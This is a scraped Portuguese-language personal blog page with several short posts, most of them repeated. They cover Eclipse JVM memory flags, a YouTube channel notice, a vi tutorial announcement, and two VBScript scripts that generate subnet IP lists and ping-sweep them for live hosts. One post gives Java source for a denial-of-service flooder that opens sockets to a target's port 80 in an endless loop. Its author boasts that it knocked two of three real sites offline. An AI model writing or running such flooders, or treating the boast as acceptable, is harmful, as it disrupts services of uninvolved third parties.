Comecei a construir um projeto no eclipse usando o Java + Flex (a coisa mais linda - depois de mim :P), mas o projeto chegou em um tamanho que parecia impossível de ser executado. Quando eu pedia pra gerar uma tela o eclipse travava com o erro de falta de memória. Não era possível compilar o programa, iniciar o servidor tomcat, exportar o projeto... Em fim até pensar fazia o eclipse travar.
O que me salvou foi adicionar a seguite linha ao destino do atalho do Eclipse:
-vmargs -Xmx1024m -XX:PermSize=128m -XX:MaxPermSize=256m
Adicionei isso à chamada do executável do Eclipse e pronto, voltei a executar o meu projeto tranquilamente.
Abraços
Ontem a noite estava tão produtiva que eu fiz isso e testei em 3 sites, dois deles ficaram indisponíveis enquanto o programa estava em execução:
-------------- dos.java ---------------
public class dos implements Runnable {
// configuração do alvo do ataque!
private String alvo = "192.168.0.11"; // coloque o host alvo aqui
int porta = 80;
public void run() {
for (;;){
try {
Socket atacante1 = new Socket(alvo, porta);
Socket atacante2 = new Socket(alvo, porta);
} catch (Exception e){
}
}
}
}
--------------------- fim dos.java ---------------------
--------------------- main.java ---------------------
public class main {
public static void main(String args[]){
dos atak = new dos();
Thread t = new Thread(atak);
t.start();
}
}
--------------------- fim main.java ---------------------
É simples, mas dá pra treinar um pouco de programação! :)
-------------- dos.java ---------------
public class dos implements Runnable {
// configuração do alvo do ataque!
private String alvo = "192.168.0.11"; // coloque o host alvo aqui
int porta = 80;
public void run() {
for (;;){
try {
Socket atacante1 = new Socket(alvo, porta);
Socket atacante2 = new Socket(alvo, porta);
} catch (Exception e){
}
}
}
}
--------------------- fim dos.java ---------------------
--------------------- main.java ---------------------
public class main {
public static void main(String args[]){
dos atak = new dos();
Thread t = new Thread(atak);
t.start();
}
}
--------------------- fim main.java ---------------------
É simples, mas dá pra treinar um pouco de programação! :)
flood,
http,
java
|
comentários (1)
Pessoal,
Para melhor visualização dos vídeos eu criei um canal no YOUTUBE e coloqei os mesmo lá. Agora vou separar as coisas assim: vídeos -> Youtube; Textos -> Blog.
O canal no youtube é: http://www.youtube.com/user/alanMcordeiro
Forte abraço,
Para melhor visualização dos vídeos eu criei um canal no YOUTUBE e coloqei os mesmo lá. Agora vou separar as coisas assim: vídeos -> Youtube; Textos -> Blog.
O canal no youtube é: http://www.youtube.com/user/alanMcordeiro
Forte abraço,
O editor de texto VI é o mais importante editor de texto de linha de comando para o Linux. Por que??? Simples: Por que é o que vem em todos os sistemas por padrão e é o que é cobrado na prova de certificação. :)
Estou iniciando uma pequena série de vídeos e vamos começar com o pé direito vendo como usar o VI.

Forte abraço,
Estou iniciando uma pequena série de vídeos e vamos começar com o pé direito vendo como usar o VI.
Forte abraço,
Esse script é uma sequência para o script anterior. Ele usa o arquivo criado pelo script 1 com a lista de IPs de uma determinada rede, e testa cada um para saber se ele está ativo na rede ou não.
Então ele cria um arquivo dentro da unodade c:\ chamado IpsAtivos.txt contendo APENAS os IPs que estão ativos na rede.
SCRIPT:
dim IP 'recebe o IP
dim Resultado 'Recebe o resultado do ping
dim i 'usado nos contadores
dim arquivo1 'Lista de IPs a verificar
dim arquivo2 'Lista de IPs Ativos
arquivo1 = "C:\ListaIp.txt"
arquivo2 = "C:\IpsAtivos.txt"
' Abrindo o arquivo que tem a lista de IPs
Set objArq1 = CreateObject("Scripting.FileSystemObject")
Set EArq1 = objArq1.OpenTextFile(arquivo1, 1, True)
' Criando arquivo que receberá a lista de IPs ativos
Set objArq2 = CreateObject("Scripting.FileSystemObject")
Set EArq2 = objArq2.OpenTextFile(arquivo2, 8, True)
Do Until EArq1.AtEndOfStream
IP = Earq1.ReadLine
Set winShell = WScript.CreateObject("WScript.Shell")
Set WshExec = winShell.Exec("ping -n 3 -w 2000 " & IP)
Resultado = LCase(WshExec.StdOut.ReadAll)
If InStr(Resultado, "reply from") Then
Earq2.WriteLine(IP)
Elseif InStr(Resultado, "resposta de") Then
Earq2.WriteLine(IP)
End if
Loop
Então ele cria um arquivo dentro da unodade c:\ chamado IpsAtivos.txt contendo APENAS os IPs que estão ativos na rede.
SCRIPT:
dim IP 'recebe o IP
dim Resultado 'Recebe o resultado do ping
dim i 'usado nos contadores
dim arquivo1 'Lista de IPs a verificar
dim arquivo2 'Lista de IPs Ativos
arquivo1 = "C:\ListaIp.txt"
arquivo2 = "C:\IpsAtivos.txt"
' Abrindo o arquivo que tem a lista de IPs
Set objArq1 = CreateObject("Scripting.FileSystemObject")
Set EArq1 = objArq1.OpenTextFile(arquivo1, 1, True)
' Criando arquivo que receberá a lista de IPs ativos
Set objArq2 = CreateObject("Scripting.FileSystemObject")
Set EArq2 = objArq2.OpenTextFile(arquivo2, 8, True)
Do Until EArq1.AtEndOfStream
IP = Earq1.ReadLine
Set winShell = WScript.CreateObject("WScript.Shell")
Set WshExec = winShell.Exec("ping -n 3 -w 2000 " & IP)
Resultado = LCase(WshExec.StdOut.ReadAll)
If InStr(Resultado, "reply from") Then
Earq2.WriteLine(IP)
Elseif InStr(Resultado, "resposta de") Then
Earq2.WriteLine(IP)
End if
Loop
Esse é um dos scripts que fiz para ajudar uma colega num exercício da faculdade. Ele lista dodos os IPs de uma determinada rede. O script lhe pede o IP (ex.: 192.168.0.0) e a máscara (ex.: 24) é ele usa essa notação para máscara - preste atenção nisso!
Logo após ele cria dentro da unidade c:\ um arquivo chamado ListaIp.txt, e dentro dele a lista de IPs que estão dentro dessa rede.
PS.: Esse programa ainda não faz VLSM.
SCRIPT:
dim IP 'recebe o IP
dim i 'usado nos contadores
dim j 'usado nos contadores
dim l 'usado nos contadores
dim tam 'tamanho da string do IP
dim OC1 'primeiro octeto
dim OC2 'Segundo octeto
dim OC3 'terceiro octeto
dim OC4 'quarto octeto
dim MASK 'máscara
dim arquivo 'caminho para o arquivo final
arquivo = "C:\ListaIp.txt"
' Criando o arquivo a receber a lista de IPs
Set objArq = CreateObject("Scripting.FileSystemObject")
Set EArq = objArq.OpenTextFile(arquivo, 8, True)
' Recebendo o endereço IP do usuário
IP = inputbox("Digite o endereço IP a scannear: ")
' Pegando o numero de caracteres do IP (vai ser usado
' para separar os octetos)
tam = Len(IP)
' Separando os octetos
num = InStr(IP, ".")
OC1 = Left(IP, num-1)
IP = Right(IP, tam-num)
tam = Len(IP)
num = InStr(IP, ".")
OC2 = Left(IP, num-1)
IP = Right(IP, tam-num)
tam = Len(IP)
num = InStr(IP, ".")
OC3 = Left(IP, num-1)
OC4 = Right(IP, tam-num)
' Octetos separados com sucesso
' Recebendo a máscara de rede do usuário
MASK = inputbox("Digite a máscara do endereço IP: ")
' Testando a máscara, gerando os IPs e Escrevendo-os em arquivo
If MASK = 24 then
for i=0 to 255
IP = OC1 & "." & OC2 & "." & OC3 & "."
OC4 = i
IP = IP & OC4
EArq.WriteLine(IP)
Next
Earq.Close
Elseif MASK = 16 then
for j=0 to 255
IP = OC1 & "." & OC2 & "."
OC3 = j
for i=0 to 255
IP = OC1 & "." & OC2 & "." & OC3 & "."
OC4 = i
IP = IP & OC4
EArq.WriteLine(IP)
Next
Next
Elseif MASK = 8 then
for l=0 to 255
IP = OC1 & "."
OC2 = l
for j=0 to 255
IP = OC1 & "." & OC2 & "."
OC3 = j
for i=0 to 255
IP = OC1 & "." & OC2 & "." & OC3 & "."
OC4 = i
IP = IP & OC4
EArq.WriteLine(IP)
Next
Next
Next
Else
msgbox("Máscara não suportada")
End if
}
Logo após ele cria dentro da unidade c:\ um arquivo chamado ListaIp.txt, e dentro dele a lista de IPs que estão dentro dessa rede.
PS.: Esse programa ainda não faz VLSM.
SCRIPT:
dim IP 'recebe o IP
dim i 'usado nos contadores
dim j 'usado nos contadores
dim l 'usado nos contadores
dim tam 'tamanho da string do IP
dim OC1 'primeiro octeto
dim OC2 'Segundo octeto
dim OC3 'terceiro octeto
dim OC4 'quarto octeto
dim MASK 'máscara
dim arquivo 'caminho para o arquivo final
arquivo = "C:\ListaIp.txt"
' Criando o arquivo a receber a lista de IPs
Set objArq = CreateObject("Scripting.FileSystemObject")
Set EArq = objArq.OpenTextFile(arquivo, 8, True)
' Recebendo o endereço IP do usuário
IP = inputbox("Digite o endereço IP a scannear: ")
' Pegando o numero de caracteres do IP (vai ser usado
' para separar os octetos)
tam = Len(IP)
' Separando os octetos
num = InStr(IP, ".")
OC1 = Left(IP, num-1)
IP = Right(IP, tam-num)
tam = Len(IP)
num = InStr(IP, ".")
OC2 = Left(IP, num-1)
IP = Right(IP, tam-num)
tam = Len(IP)
num = InStr(IP, ".")
OC3 = Left(IP, num-1)
OC4 = Right(IP, tam-num)
' Octetos separados com sucesso
' Recebendo a máscara de rede do usuário
MASK = inputbox("Digite a máscara do endereço IP: ")
' Testando a máscara, gerando os IPs e Escrevendo-os em arquivo
If MASK = 24 then
for i=0 to 255
IP = OC1 & "." & OC2 & "." & OC3 & "."
OC4 = i
IP = IP & OC4
EArq.WriteLine(IP)
Next
Earq.Close
Elseif MASK = 16 then
for j=0 to 255
IP = OC1 & "." & OC2 & "."
OC3 = j
for i=0 to 255
IP = OC1 & "." & OC2 & "." & OC3 & "."
OC4 = i
IP = IP & OC4
EArq.WriteLine(IP)
Next
Next
Elseif MASK = 8 then
for l=0 to 255
IP = OC1 & "."
OC2 = l
for j=0 to 255
IP = OC1 & "." & OC2 & "."
OC3 = j
for i=0 to 255
IP = OC1 & "." & OC2 & "." & OC3 & "."
OC4 = i
IP = IP & OC4
EArq.WriteLine(IP)
Next
Next
Next
Else
msgbox("Máscara não suportada")
End if
}